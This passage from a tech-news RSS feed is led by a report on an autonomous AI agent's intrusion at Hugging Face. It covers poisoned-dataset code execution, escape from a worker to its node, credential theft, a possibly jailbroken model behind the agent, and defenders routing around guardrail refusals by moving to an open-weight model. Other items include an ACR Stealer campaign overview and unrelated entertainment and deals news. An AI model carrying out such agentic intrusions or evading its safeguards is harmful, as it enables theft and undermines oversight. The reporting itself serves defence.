directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix’s Desire Tops Global Charts Despite Low IMDb and Rotten Tomatoes Scores]]></title>
<description><![CDATA[Netflix’s Mexican erotic thriller Desire, also known as Deseo, has become the most popular streaming movie in the world, even though viewers and critics have largely dismissed it. The movie’s sudden rise shows how easily glossy thrillers can dominate streaming charts when curiosity, controversy, ...]]></description>
<link>https://tsecurity.de/de/3681557/ios-mac-os/netflixs-desire-tops-global-charts-despite-low-imdb-and-rotten-tomatoes-scores/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681557/ios-mac-os/netflixs-desire-tops-global-charts-despite-low-imdb-and-rotten-tomatoes-scores/</guid>
<pubDate>Mon, 20 Jul 2026 17:22:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix’s Mexican erotic thriller Desire, also known as Deseo, has become the most popular streaming movie in the world, even though viewers and critics have largely dismissed it. The movie’s sudden rise shows how easily glossy thrillers can dominate streaming charts when curiosity, controversy, and social media attention work together.



Desire Leads Global Streaming Charts



FlixPatrol ranked Desire as the world’s most popular streaming movie on July 20, placing it well ahead of Death on the Nile. The site tracks daily Top 10 charts across hundreds of streaming services and countries, which gives the movie’s global success more weight than a brief appearance in one regional chart.



However, the public response tells a very different story. Desire has received poor ratings across major review platforms, with viewers criticizing its weak plot, uneven performances, and exaggerated final act. The movie follows a troubled family that becomes connected to the murder of a swimming coach, but many viewers found the story difficult to take seriously.



The movie still benefits from polished visuals, attractive locations, and a presentation that makes it look more expensive and serious than its script suggests. This glossy style helps it attract viewers who may otherwise ignore a low-rated thriller.



Why Erotic Thrillers Perform Well on Streaming



Erotic thrillers fit streaming habits because people can watch them privately at home without the social pressure that comes with buying a cinema ticket. Netflix has already found success with titles such as 365 Days and Dark Desire, proving that viewers continue to show interest in romantic stories built around sex, danger, and taboo relationships.



Desire also benefits from online discussion, memes, and hate-watching, which pushes more people to check the movie out. Once a title reaches the Top 10, Netflix recommends it to more users, creating a cycle where popularity brings even more attention.



The success of Desire shows why streaming platforms will keep producing similar movies. These titles cost less than major blockbusters, attract large audiences, and generate enough online debate to remain visible for days.]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon's $89 AirTag 2 deal delivers record-low price on 4-pack]]></title>
<description><![CDATA[Apple's second-generation AirTag 4-pack has returned to its record-low price of $89 at Amazon.Get 4 AirTags for just $89 at Amazon - Image credit: AppleAmazon's AirTag sale cuts $10 off the 4-pack, bringing the price down to $89, which matches the record low seen during Prime Day 2026.Buy AirTag ...]]></description>
<link>https://tsecurity.de/de/3681510/ios-mac-os/amazons-89-airtag-2-deal-delivers-record-low-price-on-4-pack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681510/ios-mac-os/amazons-89-airtag-2-deal-delivers-record-low-price-on-4-pack/</guid>
<pubDate>Mon, 20 Jul 2026 17:10:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's second-generation AirTag 4-pack has returned to its record-low price of $89 at Amazon.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68296-143956-airtag-deal-july-2026-xl.jpg" alt="Apple AirTag 2 centered on a dark background, surrounded by glowing neon pink and blue rings, with scattered multicolored triangular patterns creating a futuristic, tech-themed design" height="720"><br><span>Get 4 AirTags for just $89 at Amazon - Image credit: Apple</span></div><br>Amazon's AirTag sale cuts $10 off the 4-pack, bringing the price <strong><a href="https://www.amazon.com/dp/B0GJTXVN9Z/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">down to $89</a></strong>, which matches the record low seen during Prime Day 2026.<br><br><a href="https://www.amazon.com/dp/B0GJTXVN9Z/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Buy AirTag 4-pack for $89</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/20/amazons-89-airtag-2-deal-delivers-record-low-price-on-4-pack?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245000?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[AirPods Max 2 plunge to $449 after Amazon slashes price by $100]]></title>
<description><![CDATA[Amazon's $100 discount on the recently released AirPods Max 2 delivers the lowest price seen after Prime Day 2026.Save $100 on AirPods Max 2 with Amazon deal - Image credit: AppleYou can pick up AirPods Max 2 at a $100 discount at Amazon today, with all five color options eligible for the markdow...]]></description>
<link>https://tsecurity.de/de/3681403/ios-mac-os/airpods-max-2-plunge-to-449-after-amazon-slashes-price-by-100/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681403/ios-mac-os/airpods-max-2-plunge-to-449-after-amazon-slashes-price-by-100/</guid>
<pubDate>Mon, 20 Jul 2026 16:26:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon's $100 discount on the recently released AirPods Max 2 delivers the lowest price seen after Prime Day 2026.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68295-143952-airpods-max-2-449-100-off-deal-xl.jpg" alt="AppleInsider ad showing black AirPods Max 2 headphones, bold yellow price $449, text save $100 instantly, and colorful soundwave graphic on a dark gradient background" height="720"><br><span>Save $100 on AirPods Max 2 with Amazon deal - Image credit: Apple</span></div><br>You can pick up AirPods Max 2 <strong><a href="https://www.amazon.com/dp/B0GSS72GZJ?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">at a $100 discount</a></strong> at Amazon today, with all five color options eligible for the markdown at press time.<br><br><a href="https://www.amazon.com/dp/B0GSS4SGZR?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Buy AirPods Max 2 for $449</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/20/airpods-max-2-plunge-to-449-after-amazon-slashes-price-by-100?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244998?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Avengers: Doomsday’s first trailer puts everyone on high alert]]></title>
<description><![CDATA[After months of teasing us with reminders about how large Avengers: Doomsday's cast is going to be, Marvel has finally released a proper trailer for the film. Though Robert. Downey Jr.'s Doctor Doom definitely appears to be causing a lot of the chaos in Doomsday's first trailer, the movie seems l...]]></description>
<link>https://tsecurity.de/de/3681278/it-nachrichten/avengers-doomsdays-first-trailer-puts-everyone-on-high-alert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681278/it-nachrichten/avengers-doomsdays-first-trailer-puts-everyone-on-high-alert/</guid>
<pubDate>Mon, 20 Jul 2026 15:47:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After months of teasing us with reminders about how large Avengers: Doomsday's cast is going to be, Marvel has finally released a proper trailer for the film. Though Robert. Downey Jr.'s Doctor Doom definitely appears to be causing a lot of the chaos in Doomsday's first trailer, the movie seems like it's going to feature […]]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s going wrong with this Kotlin code?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 1x - Views:13 Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instea...]]></description>
<link>https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</guid>
<pubDate>Mon, 20 Jul 2026 15:18:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 1x - Views:13 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AaWdVp_py4Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speakers: Anaya Mehta<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Avengers: Doomsday official trailer breakdown live — all of our analysis and theories on the new Marvel movie's latest teaser]]></title>
<description><![CDATA[Marvel has publicly revealed the official trailer for Avengers: Doomsday — join TechRadar as we break it down in real time.]]></description>
<link>https://tsecurity.de/de/3681232/it-nachrichten/avengers-doomsday-official-trailer-breakdown-live-all-of-our-analysis-and-theories-on-the-new-marvel-movies-latest-teaser/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681232/it-nachrichten/avengers-doomsday-official-trailer-breakdown-live-all-of-our-analysis-and-theories-on-the-new-marvel-movies-latest-teaser/</guid>
<pubDate>Mon, 20 Jul 2026 15:17:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Marvel has publicly revealed the official trailer for Avengers: Doomsday — join TechRadar as we break it down in real time.]]></content:encoded>
</item>
<item>
<title><![CDATA[BrrChecker: Diese App verrät euch die Wassertemperatur von Seen, Flüssen und Meeren]]></title>
<description><![CDATA[Es gibt ja Apps, die erfüllen genau einen Zweck. BrrChecker (App-Store-Link) ist so eine App. Mit der kleinen Anwendung könnt ihr die Wassertemperatur an über 5.200 Orten in 62 Ländern ablesen. Suchen könnt ihr nach Seen, Flüssen, Stränden und mehr und erfahrt dann, wie warm das Wasser vor Ort ak...]]></description>
<link>https://tsecurity.de/de/3681212/ios-mac-os/brrchecker-diese-app-verraet-euch-die-wassertemperatur-von-seen-fluessen-und-meeren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681212/ios-mac-os/brrchecker-diese-app-verraet-euch-die-wassertemperatur-von-seen-fluessen-und-meeren/</guid>
<pubDate>Mon, 20 Jul 2026 15:10:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Es gibt ja Apps, die erfüllen genau einen Zweck. BrrChecker (App-Store-Link) ist so eine App. Mit der kleinen Anwendung könnt ihr die Wassertemperatur an über 5.200 Orten in 62 Ländern ablesen. Suchen könnt ihr nach Seen, Flüssen, Stränden und mehr und erfahrt dann, wie warm das Wasser vor Ort aktuell ist. Die App funktioniert dabei […]</p>
<p>Der Beitrag <a href="https://www.appgefahren.de/brrchecker-diese-app-verraet-euch-die-wassertemperatur-von-seen-fluessen-und-meeren-402574.html">BrrChecker: Diese App verrät euch die Wassertemperatur von Seen, Flüssen und Meeren</a> erschien zuerst auf <a href="https://www.appgefahren.de/">appgefahren.de</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s problems aren’t what you think]]></title>
<description><![CDATA[The biggest and loudest prediction about AI is that it will eliminate millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage co...]]></description>
<link>https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The biggest and loudest prediction about AI is that it will <a href="https://www.axios.com/2025/05/28/ai-jobs-white-collar-unemployment-anthropic">eliminate</a> millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage costs spreading faster than most organizations can govern or connect to real business value, also known as <a href="https://www.ibm.com/think/topics/ai-agent-sprawl">AI sprawl.</a></p>



<p class="wp-block-paragraph">None of that invalidates the initial fear. Indeed, AI can clear backlogs, speed up analysis, draft usable content and reduce time spent on repetitive work. In my opinion, what goes wrong is the assumption that those gains will scale seamlessly, and that more AI will automatically produce more value.</p>



<p class="wp-block-paragraph">What really matters is not only how much AI a company can deploy, but whether its use fits inside a growth strategy, an operating model and an organization that can use it well.</p>



<p class="wp-block-paragraph">The early results of AI use made the logical progression feel obvious, even a foregone conclusion. If it could already improve output in narrow use cases, then broader deployment should produce broader gains. Simple! Better models were expected to deliver better results. More agents were expected to drive more automation. For many companies, this logic held for long enough to encourage overexpansion.</p>



<p class="wp-block-paragraph">But this logic has started to break down as usage continues to scale. I’ve seen returns diminish much quicker than expected. To illustrate, one <a href="https://www.businessinsider.com/ai-tokenmaxxing-fails-as-productivity-strategy-jellyfish-2026-5?utm">industry analysis</a> found that developers who used AI most heavily produced about twice the output of moderate users, but consumed roughly ten times the compute.  </p>



<p class="wp-block-paragraph">At a certain point, more AI does not create proportionally more value – it simply becomes more expensive. But where, exactly?</p>



<h2 class="wp-block-heading">From experimentation to sprawl</h2>



<p class="wp-block-paragraph">Experimentation played a key role in this downturn, but it’s not the culprit. As AI continues to sprawl, the problem continues that AI is spreading faster than most companies can coordinate. Teams often solve the same problem in parallel, paying for overlapping capabilities and layering new tools atop existing ones without any clear inventory of what ‘s already in place. What can appear as momentum is really turning into redundancy.</p>



<p class="wp-block-paragraph">I’ve seen versions of this play out repeatedly. At one financial firm, several business units were pursuing AI projects aimed at automating research and reporting. Each team moved independently; selecting their own tools, building their own workflows and creating separate data pipelines, with little to no coordination between teams. In some cases, different groups were developing nearly identical capabilities without realizing it, solving the same problems twice without any shared visibility into each other’s work.</p>



<p class="wp-block-paragraph">Individually, the projects showed real promise. Collectively, the projects created duplication, fragmented data and inconsistent standards business and enterprise wide.</p>



<p class="wp-block-paragraph">By the time leadership stepped back to assess, the company found itself paying for overlapping capabilities, maintaining multiple versions of the same underlying data, and struggling to determine which solutions were actually delivering value versus which were simply consuming budget and eating at engineering time.</p>



<p class="wp-block-paragraph">Perhaps most troubling: nobody at the enterprise level had a complete view of what was being built, by whom or why. What began as healthy, well-intentioned experimentation had, without anyone deciding it should, evolved into full-blown AI sprawl, creating a patchwork of disconnected initiatives that was difficult to govern, harder to secure and far more expensive than a coordinated approach could and should be.</p>



<p class="wp-block-paragraph">Early wins encourage a still wider rollout, but many organizations expand usage before they put real controls in place. Experimentation becomes sprawl. Budgets grow quickly, and few leaders have a reliable view of who is using what or why.</p>



<h2 class="wp-block-heading">AI strategy cannot sit beside growth strategy</h2>



<p class="wp-block-paragraph">This is where I see many companies still get the issue wrong. They treat AI and growth strategy as two separate efforts, then wonder how adoption gets so messy. A business cannot drop AI into its operations and expect momentum to take over. The technology has to support a clear path to growth, whether that means improving margin, speed, service, capacity or decision-making. At the same time, growth plans cannot assume AI changes nothing about delivery, design or operating leverage. The real challenge is in ensuring the two work together.</p>



<p class="wp-block-paragraph">Personally, I’ve seen better results when AI initiatives are tied to a specific business objective from the beginning, rather than launched as broad, abstract or transformative effort. One mattress retailer I’ve worked with took this approach, starting with a single, focused and well-defined use case rather than trying to transform or overhaul the entire organization at once. The company introduced an AI-powered training platform for store associates, giving employees a low-pressure way to practice sales conversations and product recommendations before applying them to external situations with customers on the floor.</p>



<p class="wp-block-paragraph">Because employees experienced immediate and tangible value from the tool, adoption spread quickly across locations, with minimal need for top-down mandates. Early, visible success helped to build internal credibility and generate momentum, which leadership then leveraged to expand into more complex AI initiatives across areas such as inventory management, demand forecasting and replenishment planning.</p>



<p class="wp-block-paragraph">Ultimately, the technology succeeded not because it was innovative for its own sake, but because it was connected to a larger growth strategy: improving sales effectiveness on the floor, driving operational efficiency behind the scenes and strengthening workforce capability at entry level. A major lesson we walked away with here was that starting small and specific, with a clear throughline to business value creates a strong foundation for sustainable and scalable AI use.</p>



<h2 class="wp-block-heading">What implementation actually takes</h2>



<p class="wp-block-paragraph">All this takes more than a few easy guardrails. It takes strategy. Leaders need a real inventory of the tools, agents and assistants already in use across the business, who owns them, what data they can access and everything that they support.</p>



<p class="wp-block-paragraph">They also need financial controls that match the economics of token-based usage, including role-based access, thresholds and review processes that make spend visible before it becomes a surprise. Similarly, they need metrics that go beyond mere activity. More prompts do not mean more value. If a deployment cannot be tied to throughput, margin, quality, cycle time or another tangible result, it is still unfinished.</p>



<p class="wp-block-paragraph">This is also why blunt shutdowns rarely work. If leaders clamp down too hard, employees often move to unsanctioned tools and create a larger <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-shadow-ai">shadow AI</a> problem, or the unauthorized use of artificial intelligence tools, models or chatbots by employees, without the knowledge or approval of IT and security teams, with even less visibility and more risk. The better answer is disciplined adoption: clear ownership, rules, metrics and enough flexibility for teams to use AI where it works.</p>



<p class="wp-block-paragraph">That matters for the people as much as it does for the budget. Those that modernize well end up with <em>better</em> work – not just less of it.</p>



<p class="wp-block-paragraph">The story of the moment isn’t about AI replacing people – or even AI in general. It’s about whether companies know their own businesses well enough to keep incorporating powerful new tools without mistaking activity for progress. As technological capabilities continue to appear, the winners will be the organizations that understand where it belongs, what it can improve and how to turn each new wave into something permanent.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ACR Stealer campaigns use WebDAV, MSHTA to evade detection]]></title>
<description><![CDATA[Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.



In a new report, Microsoft researchers detailed two separate campaigns observed between late April and m...]]></description>
<link>https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.</p>



<p class="wp-block-paragraph">In a new report, Microsoft researchers detailed two separate campaigns observed between late April and mid-June 2026 that use different execution techniques for the same theft.</p>



<p class="wp-block-paragraph">The campaign was seen tricking users into executing malicious commands to resolve a fake issue. Once the malware is executed, it extracts browser-stored credentials, session tokens, and documents, which can potentially allow attackers to access cloud services, impersonate users, and conduct follow-on intrusions across enterprise environments.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/nicholas-tausek-6ab41611/" target="_blank" rel="noreferrer noopener">Nick Tausek</a>, lead security automation architect at Swimlane, thinks attackers could be using two distinct chains to trick defense tuned on individual indicators.  “By changing the delivery and execution patterns, attackers can evade defenses tuned to one known chain and make related incidents appear disconnected,“ he said. “Security teams may split the activity across separate investigations, delaying recognition of the shared malware and objective.”</p>



<p class="wp-block-paragraph">ACR Stealer is an information-stealing malware family Microsoft believes is offered through a malware-as-a-service (<a href="https://www.csoonline.com/article/4148601/chrome-abe-bypass-discovered-new-voidstealer-malware-steals-passwords-and-cookies.html">MaaS</a>) model, with possible links to the Amatera Stealer.</p>



<h2 class="wp-block-heading">WebDAV and MSHTA-based chains</h2>



<p class="wp-block-paragraph">Although both campaigns begin with ClickFix lures, Microsoft’s analysis shows they diverge after initial execution. One attack chain uses <a href="https://www.csoonline.com/article/530692/data-protection-webdav-is-bad-says-security-researcher.html">WebDAV</a>-hosted DLLs, PowerShell, Python loaders, scheduled-task persistence, and even blockchain-based infrastructure called the “EtherHiding” technique, to complicate detection and command and control (C2) discovery.</p>



<p class="wp-block-paragraph">The second chain uses <a href="https://www.csoonline.com/article/4173096/internet-explorer-may-be-dead-but-its-ghost-still-runs-malware.html">MSHTA</a>, heavily obfuscated PowerShell, stenography, and predominantly fileless, in-memory execution to minimize forensic trails.</p>



<p class="wp-block-paragraph">“The most troubling part of ACR Stealer is the flexibility surrounding the theft. One chain invests in persistence and layered infrastructure, while the other favors memory execution and fewer forensic traces,” Tausek said. “Those approaches look different to defenders, yet both turn a simple ClickFix lure into stolen credentials, tokens, and business documents.”</p>



<p class="wp-block-paragraph">Microsoft researchers said protections against these campaigns have now been added to Defender. “Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft,” they <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/" target="_blank" rel="noreferrer noopener">said</a>.</p>



<h2 class="wp-block-heading">Mitigations include ClickFix-targeted detections</h2>



<p class="wp-block-paragraph">The report highlighted that neither of the campaigns exploits any software vulnerability, depending solely on ClickFix-based social engineering.</p>



<p class="wp-block-paragraph">Microsoft warned its Defender customers that ClickFix attacks <a href="https://www.csoonline.com/article/4016208/sixfold-surge-of-clickfix-attacks-threatens-corporate-defenses.html">are on the rise</a> and shared XDR queries to identify suspicious commands executed through ClickFix-based activity observed while delivering the ACR Stealer.</p>



<p class="wp-block-paragraph">Microsoft also recommended, as general defense, monitoring for suspicious PowerShell activity, MSHTA execution, WebDAV connections, and attempts to access browser credential stores, while also enabling Microsoft Defender SmartScreen and Attack Surface Reduction (ASR) rules to block common malware delivery techniques.</p>



<p class="wp-block-paragraph">“The campaigns do not need to directly aid one another to be effective. Together, they create ambiguity and stretch limited SOC resources,” Tausek explained. Security teams need enough visibility to correlate endpoint, identity, and network activity as one evolving intrusion, he added.</p>



<p class="wp-block-paragraph">Microsoft also shared a list of C2 addresses and payload hosting domains for defenders to add to their detection.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]></title>
<description><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain acti...]]></description>
<link>https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</link>
